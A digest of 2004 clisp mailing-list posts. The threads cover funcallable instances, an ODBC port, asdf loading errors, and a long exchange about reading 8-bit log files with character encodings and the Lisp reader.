Calling another closure which shares bindigs can achieve this effect, =
but I'd be more satisfied with  maintaining a single object instead of =
two.

As a low-level hack, one could maybe define a setf method on some =
closure's environment vector, but uh...

Regards,
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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-03-11 18:07:04 +0100]:
>
> I was wondering whether it would be a valuable enhancement request to
> beg for funcall'able instances.
>
> Pascal Costanza recently wrote in comp.lang.lisp:
>>The following is in LispWorks 4.3 for Mac OS X.
> (defclass changeable-function ()
>    ((clambda :accessor clambda :initarg :clambda))
>    (:metaclass funcallable-standard-class))

I think it would be a great idea to add FUNCALLABLE-STANDARD-CLASS,
as specified in MOP, see
<http://www.lisp.org/mop/concepts.html#funcallable-instances>

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Date: Thu Mar 11 10:37:33 2004
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Sam wrote:
> > (defclass changeable-function ()
> >    ((clambda :accessor clambda :initarg :clambda))
> >    (:metaclass funcallable-standard-class))
>
> I think it would be a great idea to add FUNCALLABLE-STANDARD-CLASS,
> as specified in MOP, see
> <http://www.lisp.org/mop/concepts.html#funcallable-instances>

I think FUNCALLABLE-STANDARD-CLASS is a hack that some CLOS implementations
use to implement their generic-functions. It was rightfully not kept in CLOS
when ANSI CL was made, because
  1. normal function objects, slots and generic functions present enough ways
     to make intelligent, customizable, context-dependent functions,
  2. The problem with funcallable instances is that it doesn't scale:
     There is only one way to define a funcall of it. As soon as you wish
     to use the same mechanism for two different behaviours, you fail, Then
     you realize that you had better used a generic function.

Bruno



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Hello,
I added some ffi-code to Paul Meurers SQL-ODBC, so it runs now with clisp
too.
His original version is available at
http://helmer.aksis.uib.no/hit/paul-cv.htm

If anyone is interested I can sent him my version.

I have tested basic functionality on linux with unixODBC-2.2.6 as
drivermanager and postgresql and mysql,
on winxp with sql-server, access and oracle. 

I did not test the reader macros for sql of sql-odbc.

No extra binary code is needed, libodbc.so respectively odbc32.dll are
loaded
as dynamic library.

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> * Roland Averkamp <ebynaq.nirexnzc@tzk.arg> [2004-03-11 21:42:51 +0100]:
>
> I added some ffi-code to Paul Meurers SQL-ODBC, so it runs now with
> clisp too.

excellent!  thanks!

> His original version is available at
> http://helmer.aksis.uib.no/hit/paul-cv.htm

<ftp://amirani.hit.uib.no/sql-odbc/>
is 2.5 years old.
is it still being actively maintained?
will your patches be included in the next release?


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Sam Steingold <sds <at> gnu.org> writes:

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> which specific package are you talking about?
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Date: Fri Mar 12 08:07:06 2004
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>  Well, to be (un)specific, I'd be happy to start with any graphics toolkit.

build CLISP --with-module=clx/new-clx and use garnet (see garnet link on
the clisp resource page)

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I'm trying to run my http server in windows with clisp 2.30.
Mostly it works, but after a few connections are opened I start
seeing TCP resets.
Does this sound familiar?  
Is it likely to be fixed by moving to 2.31 (or 2.32) ?

While I'm at it, let me complain about something I see in the part
that does work.  I do a bunch of write-byte's to a socket stream
and when I'm done I do a force-output.  On windows every write-byte
seems to send a separate packet!  That slows things down considerably!



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The macro with-standard-io-syntax disables pretty-printing by setting
*print-pretty* to nil, but should it still be possible to do pretty
printing within a with-standard-io-syntax form?

Consider:

,----[ "2.32 (2003-12-29) (built on winsteingoldlap [10.0.19.22])" ]
| [1]> (with-standard-io-syntax
|          (let ((*print-pretty* t))
|            (pprint-linear nil (list 'a 'b 'c))))
| 
| *** -  PRINT: the value of  SYSTEM::*PRINT-CIRCLE-TABLE* has been arbitrarily altered
| *** - UNIX error  13. (EACCES): Permission denied
| Break  1. [ 2]>
`----


I tried the same example on SBCL and it worked fine. It seems that any
kind of pretty-printing I try within with-standard-io-syntax with
CLISP (Cygwin, Windows XP) fails with the error shown above.

Is this a known problem? Or is the problem with my code?

-- 
Steven E. Harris


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This must be a frequently asked question - I must have asked it myself.
Is there some character set that contains 256 8 bit bytes?
All I really want to do is read characters without any errors.

Somehow I got the impression from impnotes that this could be done
with
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  (f "/root/http/log" :external-format 
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but I still get
 *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/root/http/log" @2>: \illegal character #\U008D 

It would be even better if I could then figure out what the bytes had
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Don Cohen writes:
> This must be a frequently asked question - I must have asked it myself.
> Is there some character set that contains 256 8 bit bytes?

You  are mixing  two different  things.   You can  have a  set of  256
character.  And you can have a character encoding using 8-bit bytes.

Normally, clisp is compiled to have unicode characters.  There is more
than  256 unicode  characters.  The  number of  bits used  to  store a
unicode  character  is  implementation  dependent, and  most  probably
variable (a unicode character may need various code points).

When you write characters, you must choose an encoding that is able to
store the characters you want to  write.  And when you read an encoded
character  stream, you  must decode  it,  and not  all byte  sequences
correspond to valid character.




> All I really want to do is read characters without any errors.

Then provide an error-free file!



 
> Somehow I got the impression from impnotes that this could be done
> with
>  (with-open-file 
>   (f "/root/http/log" :external-format 
>     (make-encoding :input-error-action :ignore)) ...)
> but I still get
>  *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/root/http/log" @2>: \illegal character #\U008D 
> 
> It would be even better if I could then figure out what the bytes had
> been from the characters (1-1 mapping).

You cannot because it depends on the encoding used.



I have the feeling that what you want to do is to actually read binary
bytes instead of reading characters.


   (with-open-file (f path :element-type '(unsigned-byte 8))
      (do ((byte (read-byte f nil nil)(read-byte f nil nil)))
          ((null byte))
         (format t "read byte ~D~%" byte)))


You can always try to convert these bytes to characters with
(code-char byte), but beware that some byte value correspond to no
defined characters:

     (code-char #16r81) --> #\U0081
vs.:
     (code-char #16rC1) --> #\LATIN_CAPITAL_LETTER_A_WITH_ACUTE







This is probably unrelated, but  clisp can be compiled to support only
256 characters instead of all unicode characters.

 --without-unicode       no UNICODE support: character=8bit

I don't know  what it would do if  you tried to read in  such a dumbed
down beast an ISO-8859-1 file and a ISO-8859-2 file.


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Pascal J.Bourguignon writes:

 > Don Cohen writes:
 > > This must be a frequently asked question - I must have asked it myself.
 > > Is there some character set that contains 256 8 bit bytes?
 > 
 > You  are mixing  two different  things.   You can  have a  set of  256
 > character.  And you can have a character encoding using 8-bit bytes.
 > 
 > Normally, clisp is compiled to have unicode characters.  There is more
 > than  256 unicode  characters.  The  number of  bits used  to  store a
 > unicode  character  is  implementation  dependent, and  most  probably
 > variable (a unicode character may need various code points).

I think it was clear what I want.
I want a character set with 256 characters, and an encoding that
maps those 1-1 with all of the 8 bit combinations.
I want no multibyte characters.

 > > All I really want to do is read characters without any errors.
 > 
 > Then provide an error-free file!
I consider a file containing 256 different bytes to be error free.

 > > Somehow I got the impression from impnotes that this could be done
 > > with
 > >  (with-open-file 
 > >   (f "/root/http/log" :external-format 
 > >     (make-encoding :input-error-action :ignore)) ...)
 > > but I still get
 > >  *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/root/http/log" @2>: \illegal character #\U008D 
 > > 
 > > It would be even better if I could then figure out what the bytes had
 > > been from the characters (1-1 mapping).
 > 
 > You cannot because it depends on the encoding used.

But make-encoding should be able to make an encoding that does
whatever I want, shouldn't it?

 > I have the feeling that what you want to do is to actually read binary
 > bytes instead of reading characters.

That's what I have been forced to do so far.
But that seems absurd.  Why not create the obvious encoding and use
characters?

 > This is probably unrelated, but  clisp can be compiled to support only
 > 256 characters instead of all unicode characters.
 > 
 >  --without-unicode       no UNICODE support: character=8bit
 > 
 > I don't know  what it would do if  you tried to read in  such a dumbed
 > down beast an ISO-8859-1 file and a ISO-8859-2 file.

It is not unrelated.  If I can do it without unicode (which I've not
actually checked) then I should be able to do it with unicode.


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Don Cohen writes:
> I think it was clear what I want.
> I want a character set with 256 characters, and an encoding that
> maps those 1-1 with all of the 8 bit combinations.
> I want no multibyte characters.

There is  no encoding that I know  of that maps 1-1  256 8-bit values.
For example, ISO-8859-* does not  map values between 128 and 159. Even
the various IBM-PC OEM encoding leave some codes unmapped.

You could invent your own mapping though.

 
>  > > All I really want to do is read characters without any errors.
>  > 
>  > Then provide an error-free file!
> I consider a file containing 256 different bytes to be error free.
> 
>  > > Somehow I got the impression from impnotes that this could be done
>  > > with
>  > >  (with-open-file 
>  > >   (f "/root/http/log" :external-format 
>  > >     (make-encoding :input-error-action :ignore)) ...)
>  > > but I still get
>  > >  *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/root/http/log" @2>: \illegal character #\U008D 
>  > > 
>  > > It would be even better if I could then figure out what the bytes had
>  > > been from the characters (1-1 mapping).
>  > 
>  > You cannot because it depends on the encoding used.
> 
> But make-encoding should be able to make an encoding that does
> whatever I want, shouldn't it?

You did not pass it a :charset argument with a set of 256
characters.  Why should it not return an error?

Note that since there exist no character with a code equal to 141,
YOU will have to choose an existing character to put in the slot 141
of the :charset argument.


Remember that  in C, char  is actually an  integer type!  So  it's not
surprizing that you  can store 141 in a char  variable.  But that does
not mean that there exist any  character that have a code equal to 141
in any official encoding.  You still can invent your own encoding, but
you have to specify it (with the :charset key)!



>  > I have the feeling that what you want to do is to actually read binary
>  > bytes instead of reading characters.
> 
> That's what I have been forced to do so far.
> But that seems absurd.  Why not create the obvious encoding and use
> characters?

A good reason why not would be that it is not portable accros
Common-Lisp implementations... Reading bytes is pure Common-Lisp.
 


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Pascal J.Bourguignon writes:

 > You could invent your own mapping though.
I thought so, but have not yet succeeded.

 > > But make-encoding should be able to make an encoding that does
 > > whatever I want, shouldn't it?
 > 
 > You did not pass it a :charset argument with a set of 256
 > characters.  Why should it not return an error?
The code I sent did not attempt to generate a 1-1 mapping, just
a mapping that would not generate an error.  And even that did
not work.
Notice that make-encoding did not complain.  It was when I read
an illegal character that it complained, and I thought that's what
:ignore was supposed to prevent.  If I supply a default character
I still get an error.

 > Note that since there exist no character with a code equal to 141,
 > YOU will have to choose an existing character to put in the slot 141
 > of the :charset argument.
And is this not what the argument
(make-encoding :input-error-action #\space) [or :ignore]
is supposed to do?

 > Remember that  in C, char  is actually an  integer type!  So  it's not
 > surprizing that you  can store 141 in a char  variable.  But that does
 > not mean that there exist any  character that have a code equal to 141
 > in any official encoding.  You still can invent your own encoding, but
 > you have to specify it (with the :charset key)!

Which one should I use?  I've now tried a few - same result.



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Date: Mon Mar 15 14:36:01 2004
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Don Cohen writes:
> Pascal J.Bourguignon writes:
> 
>  > You could invent your own mapping though.
> I thought so, but have not yet succeeded.
> 
>  > > But make-encoding should be able to make an encoding that does
>  > > whatever I want, shouldn't it?
>  > 
>  > You did not pass it a :charset argument with a set of 256
>  > characters.  Why should it not return an error?
>
> The code I sent did not attempt to generate a 1-1 mapping, just
> a mapping that would not generate an error.  And even that did
> not work.
> Notice that make-encoding did not complain.  It was when I read
> an illegal character that it complained, and I thought that's what
> :ignore was supposed to prevent.  If I supply a default character
> I still get an error.

There is no invalid characters.  Characters are.  There may be invalid
codes, codes that correspond to no character, and there may be invalid
byte sequences, byte sequences that encode no character.



>  > Note that since there exist no character with a code equal to 141,
>  > YOU will have to choose an existing character to put in the slot 141
>  > of the :charset argument.
>
> And is this not what the argument
> (make-encoding :input-error-action #\space) [or :ignore]
> is supposed to do?
> 
>  > Remember that  in C, char  is actually an  integer type!  So  it's not
>  > surprizing that you  can store 141 in a char  variable.  But that does
>  > not mean that there exist any  character that have a code equal to 141
>  > in any official encoding.  You still can invent your own encoding, but
>  > you have to specify it (with the :charset key)!
> 
> Which one should I use?  I've now tried a few - same result.

Now, I must excuse me, I thought that the string that can be passed as
:charset argument to  make-encoding was a set of  character, but it is
not.  It  is expected  to be  the name of  an existing  character set.
There  does not  appear  to be  any public  (implementation-dependend)
function to create your own character set.

That  means  that you'll  have  to go  the  portable  way, write  pure
Common-Lisp code,  and implement your own encoding  yourself.  This is
not difficult at all:


(defvar *my-encoding*
  (let ((cs (make-string 256  :initial-element (character "?"))))
    (loop for i from 32 upto 127
          do (setf (aref cs i) (code-char i)))
    cs));;*my-encoding*


(defun read-char-with-my-encoding
  (stream &optional (eof-error-p t) eof-value)
  (assert (equal '(unsigned-byte 8) (stream-element-type stream)))
  (let ((byte (read-byte stream eof-error-p eof-value)))
    (if (typep byte '(unsigned-byte 8))
      (aref *my-encoding* byte)
      byte)));;read-char-with-my-encoding



(defun write-char-with-my-encoding
  (character &optional (output-stream *standard-output*))
  (assert (equal '(unsigned-byte 8) (stream-element-type output-sstream)))
  (let ((byte (position character *my-encoding*
                        ;; A little hack depending on *my-encoding*:
                        :start 32)))
    (write-char (aref *my-encoding* byte) :output-stream output-stream))
  );;write-char-with-my-encoding



(with-open-file (in "/tmp/a" :element-type '(unsigned-byte 8))
  (do ((char (read-char-with-my-encoding in nil nil)
             (read-char-with-my-encoding in nil nil))
       (i 0 (1+ i)))
      ((null char))
    (when (= 0 (mod i 17)) (terpri))
    (format t "~C " char)))

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
?   ! " # $ % & ' ( ) * + , - . / 
? 0 1 2 3 4 5 6 7 8 9 : ; < = > ? 
? @ A B C D E F G H I J K L M N O 
? P Q R S T U V W X Y Z [ \ ] ^ _ 
? ` a b c d e f g h i j k l m n o 
? p q r s t u v w x y z { | } ~ _ 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? 
NIL


$ od -t x1 /tmp/a
0000000 0a 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e
0000020 0f 0a 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d
0000040 1e 1f 0a 20 21 22 23 24 25 26 27 28 29 2a 2b 2c
0000060 2d 2e 2f 0a 30 31 32 33 34 35 36 37 38 39 3a 3b
0000100 3c 3d 3e 3f 0a 40 41 42 43 44 45 46 47 48 49 4a
0000120 4b 4c 4d 4e 4f 0a 50 51 52 53 54 55 56 57 58 59
0000140 5a 5b 5c 5d 5e 5f 0a 60 61 62 63 64 65 66 67 68
0000160 69 6a 6b 6c 6d 6e 6f 0a 70 71 72 73 74 75 76 77
0000200 78 79 7a 7b 7c 7d 7e 7f 0a 80 81 82 83 84 85 86
0000220 87 88 89 8a 8b 8c 8d 8e 8f 0a 90 91 92 93 94 95
0000240 96 97 98 99 9a 9b 9c 9d 9e 9f 0a a0 a1 a2 a3 a4
0000260 a5 a6 a7 a8 a9 aa ab ac ad ae af 0a b0 b1 b2 b3
0000300 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf 0a c0 c1 c2
0000320 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf 0a d0 d1
0000340 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df 0a e0
0000360 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef 0a
0000400 f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
0000420 0a
0000421


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I now realize that this is not a problem with encodings but a problem 
with READ.
 > >  *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/root/http/log" @2>: \illegal character #\U008D 

It had not occurred to me that certain characters would not be allowed
by READ.  I imagined that all those that were not otherwise specified
would be treated like alphabetic characters.
How foolish of me.


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With the asdf and clisp files I have, I'm still getting
errors like this --

[1]> (load "/usr/local/src/asdf/asdf.lisp")
;; Loading file /usr/local/src/asdf/asdf.lisp ...
*** - Error: ~:@> not implemented
Current point in control string:
  ~@<erred while invoking ~A on ~A~@:>

I'm just curious to know whether anyone who is using a clisp version
with number > 2.32 is having any success using asdf.  

On Mon, 01 Mar 2004 , Steven E. Harris sent me a link that I wasn't
able to make sense of... but I think it was meant to point to the
first hit you get when you search Google groups for "asdf clisp".

Unfortunately, the that was being talked about there (just load an
old asdf.fas) things don't work for me.  If I fake the date at the
top of the fas file, I get

;; Loading file /Users/arided/asdf.fas ...
*** - SYSTEM::%MAKE-CLOSURE: invalid side-effect class (T . T) for function #:|(DEFPACKAGE #:ASDF (:EXPORT #:DEFSYSTEM #:OOS ...) ...)-1-1|

Any one know what the official status is for this package under
clisp?


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Don Cohen writes:
> 
> I now realize that this is not a problem with encodings but a problem 
> with READ.
>  > >  *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/root/http/log" @2>: \illegal character #\U008D 
> 
> It had not occurred to me that certain characters would not be allowed
> by READ.  I imagined that all those that were not otherwise specified
> would be treated like alphabetic characters.
> How foolish of me.

There is no character with code 141.  The error message is misleading.



On the other hand, if you're trying to apply the lisp reader on random
input, it's not surprizing that some lexical error may occur.

Actually, I've  got no problem  in reading strings containing  all the
byte values from 0 to 255.

[15]> (with-open-file (in "/tmp/a" :direction :input 
                          :external-format (ext:make-encoding 
                                                :charset "iso-8859-1"
                                                :line-terminator :unix)) 
        (dotimes (i 17) (read-line in)))
NIL


I'm realizing  that you're using the  LISP reader to  read random data
files.  Why are  you doing that?  For all  I know, /root/http/log does
not  contain   any  LISP  data  (symbols,   strings,  numbers,  lists,
structures),  does it?   Of course,  the  LISP reader,  which use  the
*readtable* will find  that the (pseudo- IMO) character  with code 141
has no valid syntax, so it calls it "illegal", under _its_ law.


[18]> (set-syntax-from-char #\% #\u008d)
T
[19]> '%oto
*** - READ from #<INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM> #<IO TERMINAL-STREAM>>: illegal character #\%



If you really have LISP data in  this file and want to be able to read
unescaped  symbols,  the you  should  copy  a  legal syntax  to  these
characters.  But what syntax?  Is  it used as a symbol constituent, as
a whitespace, as a macro character, or as an escape?

Assuming you want it as a constituent, you could do:

         (set-syntax-from-char  #\u008d #\a)
and be happy.


[22]> (set-syntax-from-char #\% #\a)
T
[23]> '%toto
%TOTO



On the  other hand, as is most  probable, you just have  plain data in
this  file,  then  you don't  want  to  use  READ  on it.   Stay  with
READ-STRING, READ-CHAR, or READ-BYTE.  With READ-STRING and READ-CHAR,
you still have to ensure  that your file contains valid byte sequences
for  the encoding it  uses.  If  you want  to be  able to  read random
bytes, use READ-BYTE.  See my previous messages.

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Pascal J.Bourguignon writes:
 > 
 > Don Cohen writes:
 > > 
 > > I now realize that this is not a problem with encodings but a problem 
 > > with READ.
 > >  > >  *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/root/http/log" @2>: \illegal character #\U008D 
 > > 
 > > It had not occurred to me that certain characters would not be allowed
 > > by READ.  I imagined that all those that were not otherwise specified
 > > would be treated like alphabetic characters.
 > > How foolish of me.
 > 
 > There is no character with code 141.  The error message is misleading.

What do you think #\U008D is?



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Don Cohen writes:
> Pascal J.Bourguignon writes:
>  > There is no character with code 141.  The error message is misleading.
> 
> What do you think #\U008D is?

A figment of clisp unicode's imagination. :-)
 

While there is  only one encoding and only one  character set, you can
always  add imaginary  characters to  get  a 1-1  mapping between  the
encoding and the  character set.  But once you  want to manage various
encoding, while you can always recognize and unify an upper case latin
a letter,  and associate it  with the corresponding byte  sequences in
the various encodings, you would have much more difficulties doing the
same  starting  from  unassigned   byte  sequences  from  the  various
encodings. Does 141  in ISO-8859-1 correspond to 63  or 137 in EBCDIC?
You  have  a different  number  of  unassigned  codes in  the  various
encodings. How  many imaginary characters  will you create?   How will
you map the various encodings since there's not the same number?

On  the other  hand,  you  could manage  internally  codes instead  of
managing characters.   That's what  C does.  But that's not  what Lisp
does (or wants to do).

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Hi Don,

This might be of no practical use, but note that unicode is just an 
assignment of numbers to characters, and there are a variety of 
encodings available, e.g. latin-1 and utf-8 both encode the characters 
0-255 with one byte. As I remember, Java is defined to support unicode 
internally but specific encodings can be used with the I/O methods. I 
don't know what the situation is with CL.

-Phil

Don Cohen wrote:

> Pascal J.Bourguignon writes:
> 
>  > Don Cohen writes:
>  > > This must be a frequently asked question - I must have asked it myself.
>  > > Is there some character set that contains 256 8 bit bytes?
>  > 
>  > You  are mixing  two different  things.   You can  have a  set of  256
>  > character.  And you can have a character encoding using 8-bit bytes.
>  > 
>  > Normally, clisp is compiled to have unicode characters.  There is more
>  > than  256 unicode  characters.  The  number of  bits used  to  store a
>  > unicode  character  is  implementation  dependent, and  most  probably
>  > variable (a unicode character may need various code points).
> 
> I think it was clear what I want.
> I want a character set with 256 characters, and an encoding that
> maps those 1-1 with all of the 8 bit combinations.
> I want no multibyte characters.
> 
>  > > All I really want to do is read characters without any errors.
>  > 
>  > Then provide an error-free file!
> I consider a file containing 256 different bytes to be error free.
> 
>  > > Somehow I got the impression from impnotes that this could be done
>  > > with
>  > >  (with-open-file 
>  > >   (f "/root/http/log" :external-format 
>  > >     (make-encoding :input-error-action :ignore)) ...)
>  > > but I still get
>  > >  *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/root/http/log" @2>: \illegal character #\U008D 
>  > > 
>  > > It would be even better if I could then figure out what the bytes had
>  > > been from the characters (1-1 mapping).
>  > 
>  > You cannot because it depends on the encoding used.
> 
> But make-encoding should be able to make an encoding that does
> whatever I want, shouldn't it?
> 
>  > I have the feeling that what you want to do is to actually read binary
>  > bytes instead of reading characters.
> 
> That's what I have been forced to do so far.
> But that seems absurd.  Why not create the obvious encoding and use
> characters?
> 
>  > This is probably unrelated, but  clisp can be compiled to support only
>  > 256 characters instead of all unicode characters.
>  > 
>  >  --without-unicode       no UNICODE support: character=8bit
>  > 
>  > I don't know  what it would do if  you tried to read in  such a dumbed
>  > down beast an ISO-8859-1 file and a ISO-8859-2 file.
> 
> It is not unrelated.  If I can do it without unicode (which I've not
> actually checked) then I should be able to do it with unicode.
> 
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Hi,

Don Cohen writes:
>This must be a frequently asked question - I must have asked it myself.
>Is there some character set that contains 256 8 bit bytes?
>All I really want to do is read characters without any errors.

I wrote an entry for the CL cookbook:
"Faithful Output with Character Streams"
http://cl-cookbook.sourceforge.net/io.html#faith

Pascal Bourguignon wrote:
>Actually, I've  got no problem  in reading strings containing  all the
>byte values from 0 to 255.
>[15]> (with-open-file (in "/tmp/a" :direction :input 
                          :external-format (ext:make-encoding 
                                                :charset "iso-8859-1"
                                                :line-terminator :unix)) 
That proves nothing except that you were able to read one particular sequence of bytes as characters.

Basically, my article shows how to do 8bit writes using characters.
For input (read), you're doomed w.r.t. faithful input because there's no way to get around CLISP's CRLF translation at end-of line. If that difference is not important to you, you can use the same settings as for output: iso-8859-1 and :line-terminator :unix (as Pascal shows). You should then be able to read all 8-bit values without errors, as you requested (yet beware when some inputs end in CR, CLISP will probably wait for a possible LF before it returns a #\Newline, or it may return #\Newline immediately and remember to goble a possible consecutive LF, I forgot the exact behaviour).


BTW (yet OT), the XML standard mandates a similar conversion of line-endings. Application processing XML do not see the original line-terminator, they get a single UNIX-line #\Newline.

Regards,
	Jorg Hohle.


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Hi,

Pascal replied to Don Cohen:
>I'm realizing  that you're using the  LISP reader to  read random data
>files.

1. That file is not guranteed to contain pure ASCII, e.g. it could =
embded URL-requests as is, which might very well contain Umlauts in DOS =
or Latin-1 or whatever format -- I just don't know, and you probably =
don't know either!


2. Therefore, and for typical purposes, it's reasonable to just be able =
to ask for being able to read such a file without errors, as Don did, =
under the following hypotheses:
 - the file is a collection of text lines.
 - the data is mostly ASCII, which means that [CR]LF can be used to =
detect the end-of-line.
 - the data is mostly ASCII, and the first positions of each line will =
be readable under that assumption (e.g. date, time, etc.)

For such a purpose, I recommend using ISO-8859-1 and :line-terminator =
:unix.
It may not be the encoding used to write the data, but
 + it's an 8-bit superset of ASCII (unlike UTF-8) and
 + it provides means in CLISP to most likely process the extra =
characters and write them to other files, even though the actual data =
may be cyrillic, Hangul, UTF-8 or whatever.

The point where it might break is that I don't know whether Hangul =
(Korea), Japanese and other countries encodings which use multi-byte =
sequences can embed something which could be mistaken as CR or LF when =
read bytewise and which could find its way into the log files.

BTW, I recommend using READ-CHAR-SEQUENCE to process log files. I =
talked about that here when I mentioned my "10 times faster than perl" =
firewall log-processing application a year or so ago. You need =
buffering to achieve performance.

Regards,
	J=F6rg H=F6hle


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On Mon, 15 Mar 2004 20:02:10 -0600, Joe Corneli <jcorneli@math.utexas.edu> wrote:

> With the asdf and clisp files I have, I'm still getting
> errors like this --
>
> [1]> (load "/usr/local/src/asdf/asdf.lisp")
> ;; Loading file /usr/local/src/asdf/asdf.lisp ...
> *** - Error: ~:@> not implemented
> Current point in control string:
>   ~@<erred while invoking ~A on ~A~@:>
>
> I'm just curious to know whether anyone who is using a clisp version
> with number > 2.32 is having any success using asdf.
>
> On Mon, 01 Mar 2004 , Steven E. Harris sent me a link that I wasn't
> able to make sense of... but I think it was meant to point to the
> first hit you get when you search Google groups for "asdf clisp".
>
> Unfortunately, the that was being talked about there (just load an
> old asdf.fas) things don't work for me.

Did you try the asdf.fas file available from this address?

  <http://www.weitz.de/asdf-install/>

Edi.


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oehle, Joerg-Cyril writes:
> Hi,
> 
> Pascal replied to Don Cohen:
> >I'm realizing  that you're using the  LISP reader to  read random data
> >files.
> 
> 1. That file is not guranteed to contain pure ASCII, e.g. it could 
> embded URL-requests as is, which might very well contain Umlauts in DOS 
> or Latin-1 or whatever format -- I just don't know, and you probably 
> don't know either!
> 
> 
> 2. Therefore, and for typical purposes, it's reasonable to just be able 
> to ask for being able to read such a file without errors, as Don did, 
> under the following hypotheses:
>  - the file is a collection of text lines.
>  - the data is mostly ASCII, which means that [CR]LF can be used to 
>    detect the end-of-line.
>  - the data is mostly ASCII, and the first positions of each line will 
>    be readable under that assumption (e.g. date, time, etc.)
> 
> For such a purpose, I recommend using ISO-8859-1 and :line-terminator 
> :unix.
> It may not be the encoding used to write the data, but
>  + it's an 8-bit superset of ASCII (unlike UTF-8) and
>  + it provides means in CLISP to most likely process the extra 
>    characters and write them to other files, even though the actual data 
>    may be cyrillic, Hangul, UTF-8 or whatever.

Ok. I was in  error when I wrote that there is  no character with code
ISO-8859-1 equal  to 141.   I thought that  between 128 and  159 codes
were not assigned (and that  an implementation would thus be justified
in  returning  an error  when  reading  these  code in  an  ISO-8859-1
encoding as it does when it  encounters bytes 192,193 in UTF-8), but I
just found that ISO-8859 assigns these codes to specific control codes
(control "characters"), so  that all 256 codes are  defined and should
correspond to characters.

> The point where it might break is that I don't know whether Hangul 
> (Korea), Japanese and other countries encodings which use multi-byte 
> sequences can embed something which could be mistaken as CR or LF when 
> read bytewise and which could find its way into the log files.

The file format  is broken anyway.  It should  have been written takin
special care  of these exotic  encodings.  For example, it  could have
been encoded in UTF-8.

 
> BTW, I recommend using READ-CHAR-SEQUENCE to process log files. I 
> talked about that here when I mentioned my "10 times faster than perl" 
> firewall log-processing application a year or so ago. You need 
> buffering to achieve performance.


Personnaly, I stay  with my advice and would  rather use READ-BYTE (or
READ-BYTE-SEQUENCE) for this  kind of files.  This would  allow you in
addition to implement  heuristics to detect the encoding  of any range
of bytes and decode them correctly.

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next CLISP release 2.33 (due RCN) should work with asdf OOTB (the error
message have been disabled).
patches implementing the missing functionality are welcome.
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Hoehle, Joerg-Cyril writes:
 > I wrote an entry for the CL cookbook:
 > "Faithful Output with Character Streams"
 > http://cl-cookbook.sourceforge.net/io.html#faith
Thank you.  Maybe one of these days I can even go back and
change my http/smtp/... servers to use characters again.
I think something about this ought to be in clisp impnotes and faq.
Also something about the syntax class of the extra characters.
Also something about the influence of LANG.
Also *print-pretty* - these things have bitten me again and again
in clisp.
I know, I should write something and submit it.

 > For input (read), you're doomed w.r.t. faithful input because
 > there's no way to get around CLISP's CRLF translation at end-of
 > line.
Oh, right, THIS is why I have to use binary input.
I really wish there were a way around this.
Why are the line terminator modes not used for input?
Perhaps there could be some backward compatible addition
to support this.  An extra flag for encodings that says to
use the line terminator mode on input?

 > > 1. That file is not guranteed to contain pure ASCII, e.g. it could 
 > > embded URL-requests as is, which might very well contain Umlauts in DOS 
 > > or Latin-1 or whatever format -- I just don't know, and you probably 
 > > don't know either!
Turns out this guess is correct - I'm trying to read my http logs
to find out which IPs deserve to be filtered.


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For the next clisp release, could you please add a --with-clx option
to the configuration script?  (Like --with-x for Emacs :).)  I
finally got new-clx to work, but I had to patch the makefile by hand
and do a few other tedious things.  In general it would be cool if
the various clisp modules could be selectively compiled in at
compile time!  This would make upgrading much more of a snap than
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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-03-16 11:52:37 -0600]:
>
> For the next clisp release, could you please add a --with-clx option
> to the configuration script?

did you try

$ ./configure --help

(hint "--with-module=clx/new-clx" is what you are looking for)



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> * Don Cohen <qba-fbheprsbetrkk@vfvf.pf3-vap.pbz> [2004-03-16 09:10:50 -0800]:
>
> I think something about this ought to be in clisp impnotes and faq.

did you actually look in the impnotes?!

> Also something about the syntax class of the extra characters.

<http://clisp.cons.org/impnotes.html#graph-char> &c.

> Also something about the influence of LANG.

<http://clisp.cons.org/clisp.html#environment>
<http://clisp.cons.org/clisp.html#opt-lang>
<http://clisp.cons.org/clisp.html#opt-enc>

> Also *print-pretty* - these things have bitten me again and again
> in clisp.

<http://clisp.cons.org/impnotes/printer.html#multi-rep>

>  > For input (read), you're doomed w.r.t. faithful input because
>  > there's no way to get around CLISP's CRLF translation at end-of
>  > line.
> Oh, right, THIS is why I have to use binary input.
> I really wish there were a way around this.
> Why are the line terminator modes not used for input?

<http://sourceforge.net/tracker/index.php?func=detail&aid=731952&group_id=1355&atid=351355>


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Sam Steingold writes:
 > > I think something about this ought to be in clisp impnotes and faq.
 > did you actually look in the impnotes?!

Many times, often, every time I have such problems.
Whenever I post to the list about such a problem I have
searched impnotes for something about it.  
That gives you a lower bound.

Of course, just cause something is there doesn't mean it's 
easy to find!

 > > Also something about the syntax class of the extra characters.
 > <http://clisp.cons.org/impnotes.html#graph-char> &c.

